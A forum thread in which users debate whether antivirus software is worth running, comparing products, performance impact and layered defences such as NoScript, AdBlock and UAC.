I've gotten malware with antivirus software on occassion, and not because I'm not careful. Also, Adblock only blocks scripts on it's list... it won't protect you from all malicious web code, you should be using No Script if you're depending on script blocking for security.

Good malware coders aren't stupid, they design their code to be invisible to the user. If you got a virus you would never know unless you were using software to scan for it. Even if you get it, it might inject itself into your system files so you won't be able to remove it... an antivirus could prevent that.


----------



## TheBloodEagle

"Spends $1000+ on a new computer...doesn't pay a couple bucks for AV software...."

I feel like that should be a meme.


----------



## Brutuz

Quote:


> Originally Posted by *Derp*
> 
> I've been driving for a decade now and haven't been in a single accident. I think I'll stop using a seat belt.


The difference is that you can never account for other drivers. While you may be able to draw a parallel to ads installing viruses or sites being hijacked, adblock and noscript kinda account for that for the most part.
Quote:


> Originally Posted by *Diablosbud*
> 
> Honestly, there's no reason not to use an antivirus in modern times where computers have such high performance. It's a fail safe. Not using one is just being arrogant because you want to show off and think you're better than people that know less about operating systems.


I certainly can feel the difference in games like Skyrim, The Sims 3, Fallout Tale of Two Wastelands, etc when it's scanning my SSD. Even just browsing on Chrome is noticeably more laggy although not unusable by any means.


----------



## Diablosbud

Quote:


> Originally Posted by *Brutuz*
> 
> I certainly can feel the difference in games like Skyrim, The Sims 3, Fallout Tale of Two Wastelands, etc when it's scanning my SSD. Even just browsing on Chrome is noticeably more laggy although not unusable by any means.


You should probably switch anti viruses then I can barely feel a difference with Avast, or set the AV on silent/game mode when you're gaming so that it doesn't scan. Honestly at the least have a scanner at the ready to be safe.

Most people on this site probably run tons of programs in the background with their games, so they probably don't care about a small drop in drive performance. If you really care that much limit the size of your page file to say 1 GB that way your reading/writing less from your drive.

I'm not saying an AV is necessary, but if you're not using one you really have to setup your OS carefully with security in mind and keep backup scanners.


----------



## LuckyStarV

I use MWB, Avast, Aviria and Bitdefender depending on the specific rig
I'm leaning more towards Avira and Bitdefender these days with a supplemental MWB scan every now and then

All of them are non-noticeable and non-intrusive and catch most things as far as I can tell
AV Comparatives even runs tests to compare performance impacts
http://www.av-comparatives.org/wp-content/uploads/2014/06/avc_per_201405_en.pdf

seems like Avira, BitBefedner, Kapersky, Fortinet and Biadu are the least resource hogging (even less than MSE and Defender)
If you cross reference it with the real world testing results, Kapersky, Bitdefender, Fortinet and Avira would be the AV to get
I usually have 60+ chrome tabs in the background anyways so a AV really is a drop in the bucket

Given that AV is free, there really is no reason to not use it
The companies pretty much use the free version as advertising/building consumer trust. It also reduces potential botnet sizes and attack vectors which may effect paid customers.

Even with AV though, I would still back up everything important, a cold one if possible


----------



## BeerPowered

Quote:


> Originally Posted by *Brutuz*
> 
> The difference is that you can never account for other drivers. While you may be able to draw a parallel to ads installing viruses or sites being hijacked, adblock and noscript kinda account for that for the most part.
> I certainly can feel the difference in games like Skyrim, The Sims 3, Fallout Tale of Two Wastelands, etc when it's scanning my SSD. Even just browsing on Chrome is noticeably more laggy although not unusable by any means.


Nobody is telling you to scan for viruses while you game. Of course that will affect your gaming. You run that scan when you are sleeping. It affects chrome because it scans the page for viruses before it loads.


----------



## Paladin Goo

Quote:


> Originally Posted by *TheBloodEagle*
> 
> "Spends $1000+ on a new computer...doesn't pay a couple bucks for AV software...."
> 
> I feel like that should be a meme.


I feel like the "it's absolutely necessary" attitude is a fallacy. Like it or not, common sense is the number one prevention tool of malware. It's good to keep an on demand scanner around but a real time scanner, if you what you're doing, is 100% not necessary.


----------



## infranoia

ESET paid a lot of lip service to gamers for the last couple versions, and they have a specific "gaming mode" that backs off the active scans a bit.

The performance comparison is here: http://www.av-comparatives.org/wp-content/uploads/2014/06/avc_per_201405_en.pdf

Should note that even though ESET is a bit higher impact than Kaspersky et.al. overall, it has the highest PCMark 8 score at 99.0%, just below "without AV". Panda looks to be a bit heavy on the system, even though its accuracy is very high. Though if ESET died tomorrow, it looks like Kaspersky is a good balance of accuracy and system impact.


----------



## dave12

I like Kaspersky. All these tests do is reinforce that they do a great job. Seriously, teh KGB says for a couple bucks a year they will defend your pornos and not bother you while gaming where is the downside?


----------



## fableman

Quote:


> Originally Posted by *kx11*
> 
> am i the only one who use no AV ?!
> 
> almost 4 years and still going


Same here (8+ years). And everytime a friend of mine claims that I might have something on my PC and I just don't suspect, I install an AV and guess what?! There are no viruses at all. He gets so surprised







It all comes down to how good you're at using your brains.


----------



## Ghost12

I was only using mse and windows firewall and had zero issue, after reading through this thread decided to give it a go so just installed avira free av and comodo firewall. Ran all available scans and zero issues so must have been doing something right anyway. If these start to use up resources or become intrusive will simply un-install and revert to the basics.


----------



## Zero4549

Quote:


> Originally Posted by *Ghost12*
> 
> I was only using mse and windows firewall and had zero issue, after reading through this thread decided to give it a go so just installed avira free av and comodo firewall. Ran all available scans and zero issues so must have been doing something right anyway. If these start to use up resources or become intrusive will simply un-install and revert to the basics.


Worst case scenario (MSE vs Panda), MSE only misses 10% more of known infections. It still catches the vast majority of the junk out there.

You basically have to be either really unlucky, really malware-prone, or specifically targeted for an attack for there to be a significant difference in the number of viruses that you will get with any of the AVs in the list.

I've personally gone 7 years without a single detected virus, despite using several different AVs and scanners. I've had a false positive flagged once or twice, and once had to clean up a pesky but mostly benign chrome extension someone else installed. At most, using something like Panda would have saved me the 30 seconds it took to add the false positives to the exclusion list. Certainly not worth the $280 and the heavier system performance hit it would have cost.

Of course, 8 years ago, my friend installed a virus that took me two days to fully get rid of. I suppose something stronger would have been nice then... owait, I had a paid Lavasoft subscription at the time, and it let it right through.









That's my take on it anyway. I'm not saying you shouldn't use something with a better detection rate than MSE, but it isn't nearly as bad as people make it out to be, and the fact that it is free, completely unobtrusive, and very lightweight can sometimes make it the right choice (or at least, not a wrong one).


----------



## BeerPowered

Quote:


> Originally Posted by *Raven Dizzle*
> 
> I feel like the "it's absolutely necessary" attitude is a fallacy. Like it or not, common sense is the number one prevention tool of malware. It's good to keep an on demand scanner around but a real time scanner, if you what you're doing, is 100% not necessary.


Saying common sense is all you need to stay infection free is like saying the "pull out method" works better than a condom.


----------



## Paladin Goo

Quote:


> Originally Posted by *BeerPowered*
> 
> Saying common sense is all you need to stay infection free is like saying the "pull out method" works better than a condom.


That's a horrible analogy for comparison. Common sense is all you need on a daily basis. A good ON-DEMAND scanner is good to have around, but if you know what you're doing, common sense is just as good as a real time scanner. Remember, _you_ get the virus. The virus doesn't get _you_.


----------



## BeerPowered

Quote:


> Originally Posted by *Raven Dizzle*
> 
> That's a horrible analogy for comparison. Common sense is all you need on a daily basis. A good ON-DEMAND scanner is good to have around, but if you know what you're doing, common sense is just as good as a real time scanner. Remember, _you_ get the virus. The virus doesn't get _you_.


Its the perfect analogy. Common sense won't protect you, like you think it does. Also the viruses do get you. You can get them just from loading a page of a legit site. All it takes is one malicious hacker to plant it there.


----------



## Paladin Goo

Quote:


> Originally Posted by *BeerPowered*
> 
> Its the perfect analogy. Common sense won't protect you, like you think it does. Also the viruses do get you. You can get them just from loading a page of a legit site. All it takes is one malicious hacker to plant it there.


Noscript + adblock. Again, common sense protects me.


----------



## DuckieHo

Wished they included ClamAV.... open-source AV.

Quote:


> Originally Posted by *Raven Dizzle*
> 
> That's a horrible analogy for comparison. Common sense is all you need on a daily basis. A good ON-DEMAND scanner is good to have around, but if you know what you're doing, common sense is just as good as a real time scanner. Remember, _you_ get the virus. The virus doesn't get _you_.


Except that you are wrong....

How about compromised webpages, compromised software, zero-days, other vectors (like USB devices), etc?

Linux repos have been compromised before.


----------



## BeerPowered

Quote:


> Originally Posted by *Raven Dizzle*
> 
> Noscript + adblock. Again, common sense protects me.


They aren't fool-proof, You can still get by those extensions.


----------



## Paladin Goo

Quote:


> Originally Posted by *BeerPowered*
> 
> They aren't fool-proof, You can still get by those extensions.


The same applies to _any_ real time scanner.

Y'all are just paranoid.


----------



## DuckieHo

Quote:


> Originally Posted by *Raven Dizzle*
> 
> The same applies to _any_ real time scanner.
> 
> Y'all are just paranoid.


Correct... but good security relies on defense in layers.

You believe "common sense + Noscript + adblock" is good enough.... that is highly subjective. You attempted to provide reasons why you believe this is good enough but others have demonstrated cases where your system will fail.

We all should be cautious.... it is subjectively what level.

If we were paranoid, we would be doing images of a hardened self-rolled Linux distro with each login...


----------



## BeerPowered

Quote:


> Originally Posted by *DuckieHo*
> 
> Correct... but good security relies on defense in layers.
> 
> You believe "common sense + Noscript + adblock" is good enough.... that is highly subjective. You attempted to provide reasons why you believe this is good enough but others have demonstrated cases where your system will fail.
> 
> We all should be cautious.... it is subjectively what level.
> 
> If we were paranoid, we would be doing images of a hardened self-rolled Linux distro with each login...


I used to be like him till I reached the security portion of my IT Program. Now I know how unsafe things are, and AV is just another layer, like my pfSense Firewall.


----------



## deepor

Quote:


> Originally Posted by *BeerPowered*
> 
> Quote:
> 
> 
> 
> Originally Posted by *Raven Dizzle*
> 
> Noscript + adblock. Again, common sense protects me.
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> They aren't fool-proof, You can still get by those extensions.
Click to expand...

I asked how that works two or three times in this thread, and no one can answer, can't even point me to where to go to read up on technical details about this. Meanwhile everytime I tried to look things about this up myself, I always come to the same conclusion that the AV's realtime protection is virtually worthless, the general security and permissions stuff on today's Windows is what's doing the real protecting.

How this works exactly should also be very important to know for you. Your AV's realtime-thingy won't catch everything, you know. If you want to stay virus-free, you still need to know how that infection works, how it manages to install itself, so that you'll avoid any situation where only the AV is what's protecting you.

About your pull-out method analogy, I think abstinence would be the better analogy, try very hard to never do anything where there's only the AV stopping a potential virus infection.


----------



## DuckieHo

Quote:


> Originally Posted by *deepor*
> 
> I asked how that works two or three times in this thread, and no one can answer, can't even point me to where to go to read up on technical details about this. Meanwhile everytime I tried to look things about this up myself, I always come to the same conclusion that the AV's realtime protection is virtually worthless, the general security and permissions stuff on today's Windows is what's doing the real protecting.
> 
> How this works exactly should also be very important to know for you. Your AV's realtime-thingy won't catch everything, you know. If you want to stay virus-free, you still need to know how that infection works, how it manages to install itself, so that you'll avoid any situation where only the AV is what's protecting you.


The thing is AV is relatively cheap (in system resources) now. It's just another layer of defense... it's not close to fool-proof. However, neither is permissioning, common sense, noscript, etc, etc, etc.


----------



## Paladin Goo

Quote:


> Originally Posted by *deepor*
> 
> I asked how that works two or three times in this thread, and no one can answer, can't even point me to where to go to read up on technical details about this. Meanwhile everytime I tried to look things about this up myself, I always come to the same conclusion that the AV's realtime protection is virtually worthless, the general security and permissions stuff on today's Windows is what's doing the real protecting.
> 
> How this works exactly should also be very important to know for you. Your AV's realtime-thingy won't catch everything, you know. If you want to stay virus-free, you still need to know how that infection works, how it manages to install itself, so that you'll avoid any situation where only the AV is what's protecting you.
> 
> About your pull-out method analogy, I think abstinence would be the better analogy, try very hard to never do anything where there's only the AV stopping a potential virus infection.


Don't worry about it, those of us who plead and possess common sense will always be told we're wrong. It's the internet, after all.


----------



## kx11

Quote:


> Originally Posted by *fableman*
> 
> Same here (8+ years). And everytime a friend of mine claims that I might have something on my PC and I just don't suspect, I install an AV and guess what?! There are no viruses at all. He gets so surprised
> 
> 
> 
> 
> 
> 
> 
> It all comes down to how good you're at using your brains.


oh yeah


----------



## BeerPowered

Quote:


> Originally Posted by *Raven Dizzle*
> 
> Don't worry about it, those of us who plead and possess common sense will always be told we're wrong. It's the internet, after all.


Or you just aren't as educated as others when it comes to Cyber Security. We know stuff you don't, so we have a different viewpoint.


----------



## Paladin Goo

Quote:


> Originally Posted by *BeerPowered*
> 
> Or you just aren't as educated as others when it comes to Cyber Security. We know stuff you don't, so we have a different viewpoint.


Let's not bring "educated" into this, bud.

You only _claim_ to know stuff we don't. There's plenty of people in here who the common sense method has been working for years and years.


----------



## SpeedyVT

Quote:


> Originally Posted by *lombardsoup*
> 
> Its called "don't use Windows", and it works


It's call don't stroll into a dark alley of the internet and expect *not* to get hepitisis.


----------



## DuckieHo

Quote:


> Originally Posted by *Raven Dizzle*
> 
> Let's not bring "educated" into this, bud.
> 
> You only _claim_ to know stuff we don't. There's plenty of people in here who the common sense method has been working for years and years.


Except.... we have cases where your system would fail. Again, just because people think things work.... it does not ensure they actually work.

Being educated or knowledgeable absolutely matters on this subject as it is an _*EXTREMELY*_ technical field. Security libraries are one thing that general developers should never write themselves.

You have to follow security/networking news, know OpSec practices, know how to implement secured software, etc to even grasp all the workings and changes of system security today.


----------



## Paladin Goo

Quote:


> Originally Posted by *DuckieHo*
> 
> Except.... we have cases where your system would fail. Again, just because people think things work.... it does not ensure they actually work.
> 
> Being educated or knowledgeable absolutely matters on this subject as it is an _*EXTREMELY*_ technical field. You have to follow security/networking news, know OpSec practices, know how to implement secured software, etc to even grasp all the workings and changes of system security today.


The problem with all of that is you're making the (ridiculous) assumption that I "don't know what I'm doing" or that I'm "uneducated" on the matter. After 4 years at NAIT, with a pretty lengthy stretch in network administration, I am pretty damn educated. I wouldn't recommend it for EVERYONE, but for ME, on my WORKSTATION, the common sense method is a good method, and HAS worked, whether you *think it has* or not, so please, climb down off your high horses. I'm not an idiot, and I know what I'm talking about.


----------



## DuckieHo

Quote:


> Originally Posted by *Raven Dizzle*
> 
> The problem with all of that is you're making the (ridiculous) assumption that I "don't know what I'm doing" or that I'm "uneducated" on the matter. After 4 years at NAIT, with a pretty lengthy stretch in network administration, I am pretty damn educated. I wouldn't recommend it for EVERYONE, but for ME, on my WORKSTATION, the common sense method is a good method, and HAS worked, whether you *think it has* or not, so please, climb down off your high horses. I'm not an idiot, and I know what I'm talking about.


You are saying "common sense + Noscript + adblock" is good enough *for you.*

This would be fine...except you didn't say that. You had said it was good enough in general. This is were others are disagreeing and are saying it may not be while also providing examples to support our case.


----------



## Awaz

Any difference between win 7 and win 8 as far as virus protection? Installed win 8 on my comp about a year ago. Believe it already comes with MSE. No additional AV, but so far so good.


----------



## TheBloodEagle

Quote:


> Originally Posted by *Awaz*
> 
> Any difference between win 7 and win 8 as far as virus protection? Installed win 8 on my comp about a year ago. Believe it already comes with MSE. No additional AV, but so far so good.


Here's some under the hood security features W8 has: http://arstechnica.com/information-technology/2012/10/better-on-the-inside-under-the-hood-of-windows-8/2/


----------



## Paladin Goo

Quote:


> Originally Posted by *DuckieHo*
> 
> You are saying "common sense + Noscript + adblock" is good enough *for you.*
> 
> This would be fine...except you didn't say that. You had said it was good enough in general. This is were others are disagreeing and are saying it may not be while also providing examples to support our case.


Didn't think I had to say it. I thought it was a given. Running without an AV isn't for everyone, and it's not like I never scan. I have an on demand scanner that I use, and have scheduled to run using Windows task scheduler.


----------



## MxPhenom 216

If you have smart browsing habits, getting a virus should be a non issue, and even if you get one, viruses are pretty damn easy to get rid of these days. Though I understand that some people don't want to wipe their system as a result of getting one, or information from their system being pulled from the virus.

I dont really recommend MSE anymore. Avast if you want something decent for free, and then Kaspersky or any of the other top ones if you want to buy one.


----------



## KSIMP88

Quote:


> Originally Posted by *Dyson Poindexter*
> 
> I haven't seen an ad on a website in years. And if some malicious Javascript can break out of the Chrome sandbox, there's a good chance it's going to get past your AV as well.












You need to go back to school, dude. You are still vulnerable


----------



## deepor

Quote:


> Originally Posted by *KSIMP88*
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> You need to go back to school, dude. You are still vulnerable


Can you point me to where I can go to read up on this? I'm searching for something that explains how this works and how the infection gets into my files and Windows. I'm honestly not joking.


----------



## TheBloodEagle

Quote:


> Originally Posted by *deepor*
> 
> Can you point me to where I can go to read up on this? I'm searching for something that explains how this works and how the infection gets into my files and Windows. I'm honestly not joking.


Not a direct answer but other links worth checking out:

http://blogs.technet.com/b/mmpc/

http://blogs.technet.com/b/security/


----------



## iSlayer

Quote:


> I used to be like him till I reached the security portion of my IT Program. Now I know how unsafe things are, and AV is just another layer, like my pfSense Firewall.


Yah, basically what happened to me when I got a little knowledge about the compsec scene.
Quote:


> Being educated or knowledgeable absolutely matters on this subject as it is an EXTREMELY technical field. Security libraries are one thing that general developers should never write themselves.
> 
> You have to follow security/networking news, know OpSec practices, know how to implement secured software, etc to even grasp all the workings and changes of system security today.


Another post from Duckie that I would rep if I could.

As someone who may or may not be doing security things for reasons that don't matter, I learned a few things about compsec. Implementation is tough and is constantly butchered. I can't decide to tomorrow go out and write an encryption algorithm or even implement an encryption algorithm. The math, concepts, countermeasures, news, developments, GOOD COMPUTING MAN NO MORE.

All of that combines to me saying. "Hey, I'd like to go implement ECDSA on GPUs but I know a couple of probably dozens of attack vectors." I may even be able to develop some of those attacks myself.

As a 'general dev' I know my place in the security scene well. Writing things that someone much more capable will secure. Perhaps with time testing algorithms, implementing systems and learning from the community I may be a good choice for securing something. Till then, nopenopenope. There are enough problems among professionals. Average Joe programmer and I shouldn't do it.


----------



## KSIMP88

Quote:


> Originally Posted by *deepor*
> 
> Can you point me to where I can go to read up on this? I'm searching for something that explains how this works and how the infection gets into my files and Windows. I'm honestly not joking.


in reference to your not needing av. Not how you were mentioning one of many ways to become infected.

And here's one:


For the record, I run a small computer service. I run into many situations were no single AV gets the job done. The last job needed 6 different AV programs. Avast, Avg, Avira, panda, Commodo, and bitdefender. Each one detected different viruses and still missed stuff malwarebytes and spybot found.


----------



## pokerapar88

Since 1998 when I had my first PC, I have been trying to avoid antivirus. I believe that since that time till now I may have had around 2 to 4 virus infections where in all cases were weak viruses with no harm done to the integrity of the system. I have been using windows standard protection lately, as it comes integrated to the OS, so WHY NOT ? then I got a year subscription for free to webroot AV secure anyware complete 2014 and said why not ? only good thing about AVs now is that they work on the cloud so almost no reources are used including space on the HDD.


----------



## Clazman55

Quote:


> Originally Posted by *KSIMP88*
> 
> in reference to your not needing av. Not how you were mentioning one of many ways to become infected.
> 
> And here's one:
> 
> 
> For the record, I run a small computer service. I run into many situations were no single AV gets the job done. The last job needed 6 different AV programs. Avast, Avg, Avira, panda, Commodo, and bitdefender. Each one detected different viruses and still missed stuff malwarebytes and spybot found.


There are far more effective solutions to getting rid of malware than just throwing a bunch of AV scanners at the problem.


Is the list of programs that I use. Start with rkill, then run Malwarebytes anti-root(malwarebytes chameleon if it is blocked.), then NPE, ccleaner to uninstall crapware and clean out the browsers, run combofix. Several passes of AdwCleaner, Adware-Removal-Tool, HijackThis, Hitman, JRT. Use CCleaner to clean the registry and delete leftovers, then Malwarebytes AW to grab 99% of what every is left. Run all the updates, another root scan and Malwarebytes scan and the pc should be clean. I really like ESET NOD32 AV, it is very lightweight and overzealous. Which helps to make sure end users have to willing install malware.


----------



## ZealotKi11er

I dont get anymore viruses. I think i stopped getting them ever since i moved to Windows 7.


----------



## TheBloodEagle

Some neat info from my Avast.


----------



## Schoat333

What are the more common windows threats these days? I honestly haven't had a windows PC since 2011. I plan to build one soon for gaming tho.


----------



## Kimir

Quote:


> Originally Posted by *TheBloodEagle*
> 
> Some neat info from my Avast.
> 
> 
> Spoiler: Warning: Spoiler!


Don't know why, but that make me think about those live attack map (this one and this DDoS only one). USA is sure a bigger target than my country.


----------



## deepor

Quote:


> Originally Posted by *Schoat333*
> 
> What are the more common windows threats these days? I honestly haven't had a windows PC since 2011. I plan to build one soon for gaming tho.


I don't know how, but the guys in my WoW guild a bunch of years ago, it felt like most of them got a keylogger at some point and their WoW account hacked. That's the most popular Windows threat I heard of and it's still going on from what I heard.









It's pretty much web browsing and downloading stuff. The web browsing itself can supposedly already be a threat without you downloading anything.

Java and Flash regularly have new vulnerabilities discovered. I guess that's how that works. There's also browser vulnerabilities rarely, but auto-update of Firefox and Chrome and IE should keep that in check. Adobe Reader had vulnerabilities so just looking at a .pdf with it installed might be bad, but Firefox and Chrome have their built-in .pdf viewer nowadays. Office documents are also suspicious.

If you want to do your best to avoid issues, you can just try to live without web browser plugins like Java and Flash and don't download stuff.

If you really need Java for something, make sure to disable its plugin in the browsers. You might want to try to live without Flash in Firefox. Today a lot of stuff online still works fine when browsing around like that. Chrome has its own Flash integrated and you'll want to keep its click-to-play feature enabled on nearly all sites. Make sure to have auto-update features of Firefox and Chrome running.

Other than that, just play your games on your gaming machine and don't ever install anything else unless you really, really need it, and nothing will happen.

About Windows itself, keep UAC enabled. That will darken the screen and show a warning prompt whenever a program wants to do something that needs special permissions. Whenever you see that, think about what's going on and click "no" if it's not obvious. It's also possible to live in a normal user account, so no admin rights at all, but I've seen games break because of that.

You might want to enable the Windows File Explorer showing file extensions. That's disabled by default and could be bad.

Windows 8 comes with a firewall and antivirus installed and enabled. It will also regularly download and run a malware scan and removal tool. It all seems pretty foolproof and I guess there's no need to worry much and add stuff to it. The IE browser in 8 is also safe.


----------



## BeerPowered

I don't install Java or Flash on my computer. Steam doesn't like it, but Valve can suck it!


----------



## Flames21891

I still don't get why so many people scoff at the idea of using AV software.

I'd rather have it and not need it, than need it and not have it.


----------



## Dyaems

I use Avast free ("silent" mode) and Malwarebytes. The AV acts just its not even installed on my computer, even popups virus definition updates does not show up. I only run Malwarebytes when I scan, which is once every few months.


----------



## Aussiejuggalo

why is Norton not in the list? its like the best AV in the world









I'm surprised Avast is lower then AVG, AVG is a pita with all its false positives


----------



## Brutuz

Quote:


> Originally Posted by *KSIMP88*
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> You need to go back to school, dude. You are still vulnerable


An AV is not going to be the difference between an vulnerable system and one you cannot access.
Quote:


> Originally Posted by *TheBloodEagle*
> 
> Some neat info from my Avast.


Do you run AdBlock, NoScript, Ghostery, etc? Do you have Java/Flash and the like set to *only* run after you've told it to?


----------



## TheBloodEagle

Quote:


> Originally Posted by *Brutuz*
> 
> An AV is not going to be the difference between an vulnerable system and one you cannot access.
> Do you run AdBlock, NoScript, Ghostery, etc? Do you have Java/Flash and the like set to *only* run after you've told it to?


I do run Adblock Plus, although I whitelist/disable the websites I frequently visit. I like seeing Ads now (strange I know), I often click on products shown & support the sites (like OCN). I used to run Ghostery (Ad company bought Ghostery) but now I switched to Disconnect. I'm also using the Avast! Online Security extension. I have to run Flash since I work for a Flash game company. Java is a pain but need it as well.

Also using Chrome Canary 64-bit.


----------



## ozlay

Quote:


> Originally Posted by *Aussiejuggalo*
> 
> 
> 
> 
> 
> 
> 
> 
> why is Norton not in the list? its like the best AV in the world
> 
> 
> 
> 
> 
> 
> 
> 
> 
> I'm surprised Avast is lower then AVG, AVG is a pita with all its false positives


because Norton is a virus in itself but i guess avg is too or any other AV that requires a removal tool just too get rid of it and i have too agree avg and its false positives is annoying and MSE does the same


----------



## Capt

The chances of getting a virus become extremely low once you remove Java and Flash from your computer. I don't have either one installed and haven't had a virus in a looooong time.


----------



## KSIMP88

But Java and Flash is where the best content is. I have used Avast for years. Not intrusive, barely uses resources, no viruses. Protects me when I snoop around, too. Stopped a few malicious sites.


----------



## charlesquik

Quote:


> Originally Posted by *Aussiejuggalo*
> 
> 
> 
> 
> 
> 
> 
> 
> why is Norton not in the list? its like the best AV in the world
> 
> 
> 
> 
> 
> 
> 
> 
> 
> I'm surprised Avast is lower then AVG, AVG is a pita with all its false positives


Norton's parent company (Symantec) refused to do the test when the site asked.

Because everyone know it would have been the best one :rolleye:


----------



## AlphaC

Kaspersky found Stuxnet, so they have to be doing something right...


----------



## Derp

Quote:


> Originally Posted by *Aussiejuggalo*
> 
> 
> 
> 
> 
> 
> 
> 
> why is Norton not in the list? its like the best AV in the world
> 
> 
> 
> 
> 
> 
> 
> 
> 
> I'm surprised Avast is lower then AVG, AVG is a pita with all its false positives


Quote:


> Originally Posted by *charlesquik*
> 
> Norton's parent company (Symantec) refused to do the test when the site asked.
> 
> Because everyone know it would have been the best one :rolleye:


Once again....
Quote:


> Symantec has long contended the file detection and retrospective tests performed by AV-Comparatives are irrelevant. Since those are included in the all-or-nothing package of tests, Symantec hasn't participated for years.
> 
> This time around, AV-Comparatives roped in Symantec and G DATA for testing, for informational purposes. The real-world test is exactly the kind of test Symantec believes should be universal, as it exercises the whole product. Symantec would have earned Advanced+ in this test, with a very high detection rate and no false positives


----------



## iSlayer

^ just pretend that isn't very fishy and that the results of this test aren't something to take as word of law.

Its one of the largest antivirus providers worldwide. If they weren't so huge it'd be more impressive.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *Diablosbud*
> 
> Honestly, there's no reason not to use an antivirus in modern times where computers have such high performance.


What do you mean? Computers are so fast now that they can't get viruses?
Quote:


> Originally Posted by *Raven Dizzle*
> 
> Noscript + adblock. Again, common sense protects me.


For the most part, yes. I use NoScript as well, but I still have to turn it off to view content on some sites. What happens if those sites get compromised? If you have AV running, then you have the next layer of protection in the security arsenal.
Quote:


> Originally Posted by *Raven Dizzle*
> 
> Let's not bring "educated" into this, bud.
> 
> You only _claim_ to know stuff we don't. There's plenty of people in here who the common sense method has been working for years and years.


I CLAIM to know that if you don't wear a seat belt, you are more likely to die. There's plenty of people in here who don't wear seat belts, and they've never died.

Same story: the seat belt is another layer of protection, along with air bags and other things. You don't stop wearing your seat belt just because you have air bags, do you?
Quote:


> Originally Posted by *Awaz*
> 
> Any difference between win 7 and win 8 as far as virus protection? Installed win 8 on my comp about a year ago. Believe it already comes with MSE. No additional AV, but so far so good.


Windows 8 has a lot of under-the-hood improvements for security. It's more difficult to exploit things like buffer overflows.
Quote:


> Originally Posted by *deepor*
> 
> Can you point me to where I can go to read up on this? I'm searching for something that explains how this works and how the infection gets into my files and Windows. I'm honestly not joking.


Are you looking for malware that injects itself into other processes and locks you out of your Task Manager and stuff like that? I can show you some disassemblies of that kind of malware.
Quote:


> Originally Posted by *Schoat333*
> 
> What are the more common windows threats these days? I honestly haven't had a windows PC since 2011. I plan to build one soon for gaming tho.


www.malc0de.com. Check out their database; you can see a very up-to-date list of malware threats. Needless to say, be careful before you click around...


----------



## HighTemplar

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> What do you mean? Computers are so fast now that they can't get viruses?
> For the most part, yes. I use NoScript as well, but I still have to turn it off to view content on some sites. What happens if those sites get compromised? If you have AV running, then you have the next layer of protection in the security arsenal.
> I CLAIM to know that if you don't wear a seat belt, you are more likely to die. There's plenty of people in here who don't wear seat belts, and they've never died.
> 
> Same story: the seat belt is another layer of protection, along with air bags and other things. You don't stop wearing your seat belt just because you have air bags, do you?
> Windows 8 has a lot of under-the-hood improvements for security. It's more difficult to exploit things like buffer overflows.
> Are you looking for malware that injects itself into other processes and locks you out of your Task Manager and stuff like that? I can show you some disassemblies of that kind of malware.
> www.malc0de.com. Check out their database; you can see a very up-to-date list of malware threats. Needless to say, be careful before you click around...


An antivirus is never 100%, as there are always 0day encrypted versions of the same code that will fail one day and pass the next. Malware authors constantly modify their code with the same sort of software suites and will not release them into the wild until they pass 99% of them, because once it gets detected on one or two AV's, the signature will be exported to other AV's and then its over.

The best way to protect yourself is with proper surfing and experience. A good firewall to prevent trojans and a general understanding of IT sec, and you're good to go. Most infections these days are by people knowingly giving admin rights to malware code, drive-by downloads, torrents with binded malware, with a small portion being 0day browser exploits.


----------



## deepor

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> Quote:
> 
> 
> 
> Originally Posted by *deepor*
> 
> Can you point me to where I can go to read up on this? I'm searching for something that explains how this works and how the infection gets into my files and Windows. I'm honestly not joking.
> 
> 
> 
> Are you looking for malware that injects itself into other processes and locks you out of your Task Manager and stuff like that? I can show you some disassemblies of that kind of malware.
Click to expand...

I was looking for how something served by an infected website manages to abuse a Firefox or Chrome client to install itself on someone's Windows PC. Then at what point the realtime protection of the Antivirus actually gets to scan the code.


----------



## TheBloodEagle

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> What do you mean? Computers are so fast now that they can't get viruses?


No, he means that computers are fast/powerful enough not to worry about some marginal CPU usage from an AV. Lots of people use the excuse that they don't want an AV suite because it bogs down their system. But pretty much everyone's computer on OCN can handle them no problem and most are not as bloated or demanding.

Just an example but a full system scan on my Avast just shows my CPU is only averaging 6%-to-10% load total. It's even less when it's just in the background, of course.. :


----------



## Zero4549

Quote:


> Originally Posted by *TheBloodEagle*
> 
> No, he means that computers are fast/powerful enough not to worry about some marginal CPU usage from an AV. Lots of people use the excuse that they don't want an AV suite because it bogs down their system. But pretty much everyone's computer on OCN can handle them no problem and most are not as bloated or demanding.
> 
> Just an example but a full system scan on my Avast just shows my CPU is only averaging 6%-to-10% load total. It's even less when it's just in the background, of course.. :


CPU usage isn't the issue with AV software, storage device rape is.


----------



## Fear Before

Anyone have experience with both Eset and Kaspersky? How do they compare and which one seems to be the better of the two in terms of protection, resources used, and interruptions?


----------



## The Hundred Gunner

Quote:


> Originally Posted by *HighTemplar*
> 
> An antivirus is never 100%, as there are always 0day encrypted versions of the same code that will fail one day and pass the next. Malware authors constantly modify their code with the same sort of software suites and will not release them into the wild until they pass 99% of them, because once it gets detected on one or two AV's, the signature will be exported to other AV's and then its over.


I'm not sure which part you are addressing, but you're right - you're not going to be able to protect against absolutely everything. Of course there is going to be some time before signatures are developed, and until then, everyone is vulnerable. AV isn't going to protect the first few that get hit, but what are your chances of being the first hit? You can't tell me that just because you have a .001% chance of being the first hit that it's not worth it to protect yourself at all when you're more than 99% more likely to be hit when there ARE signatures available for your AV to detect it.
Quote:


> Originally Posted by *HighTemplar*
> 
> The best way to protect yourself is with proper surfing and experience. A good firewall to prevent trojans and a general understanding of IT sec, and you're good to go. Most infections these days are by people knowingly giving admin rights to malware code, drive-by downloads, torrents with binded malware, with a small portion being 0day browser exploits.


Let me make an analogy to everything you're saying:
The best way to net get killed driving is with proper driving and experience. A good air bag to prevent your head bashing against the wheel and a general understanding of physical mechanics, and you're good to go. Most deaths these days are caused by people talking on the phone while driving, texting, wreckless driving...

The missing part: a seat belt. It's so easy, and even though it's not a 100% lifesaver, *it's another layer of protection that's so effortless to implement that there's no reason not to do it.*
Quote:


> Originally Posted by *deepor*
> 
> I was looking for how something served by an infected website manages to abuse a Firefox or Chrome client to install itself on someone's Windows PC. Then at what point the realtime protection of the Antivirus actually gets to scan the code.


